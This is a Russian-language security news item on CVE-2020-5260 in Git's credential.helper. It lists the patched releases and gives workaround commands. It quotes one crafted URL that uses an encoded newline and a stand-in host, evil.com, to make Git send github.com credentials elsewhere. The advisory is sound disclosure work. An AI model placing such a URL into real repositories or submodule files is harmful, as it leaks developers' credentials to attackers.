Уязвимость в Git, приводящая к утечке учётных данных

Новости

Опубликованы корректирующие выпуски распределённой системы управления исходными текстами Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 и 2.17.4, в которых устранена уязвимость (CVE-2020-5260) в обработчике “credential.helper“, приводящая к отправке учётных данных не на тот хост при обращении git-клиента к репозиторию по специально оформленному URL, содержащему символ новой строки. Уязвимость можно использовать для организации отправки на сервер, подконтрольный атакующему, учётных данных от другого хоста.

При указании URL вида “https://evil.com?%0ahost=github.com/” обработчик учётных данных при подключении к хосту evil.com передаст параметры аутентификации, заданные для github.com. Проблема проявляется при выполнении таких операций, как “git clone”, в том числе при обработке URL для субмодулей (например, при выполнении “git submodule update” будут автоматически обработаны URL, заданные в файле .gitmodules из репозитория). Наибольшую опасность уязвимость представляет в ситуациях, когда разработчик выполняет клонирование репозитория не видя URL, например, при работе с субмодулями, или в системах, выполняющих автоматические действия, например, в скриптах сборки пакетов.

Для блокирования уязвимости в новых версиях запрещена передача символа новой строки в любых значениях, передаваемых через протокол обмена учётными данными. Для дистрибутивов проследить за выпуском обновлений пакетов можно на страницах DebianUbuntuRHELSUSE/openSUSEFedoraArchALTFreeBSD. В качестве обходного пути блокирования проблемы рекомендуется не использовать credential.helper при обращении к публичным репозиториям и не применять “git clone” в режиме “–recurse-submodules” с непроверенными репозиториями. Для полного отключения обработчика credential.helper, который выполняет сохранение и извлечение паролей из кэша, защищённого хранилища или файла с паролями, можно использовать команды:

   git config --unset credential.helper
   git config --global --unset credential.helper
   git config --system --unset credential.helper

Publisher
Оцените автора
AsaDagar
Добавить комментарий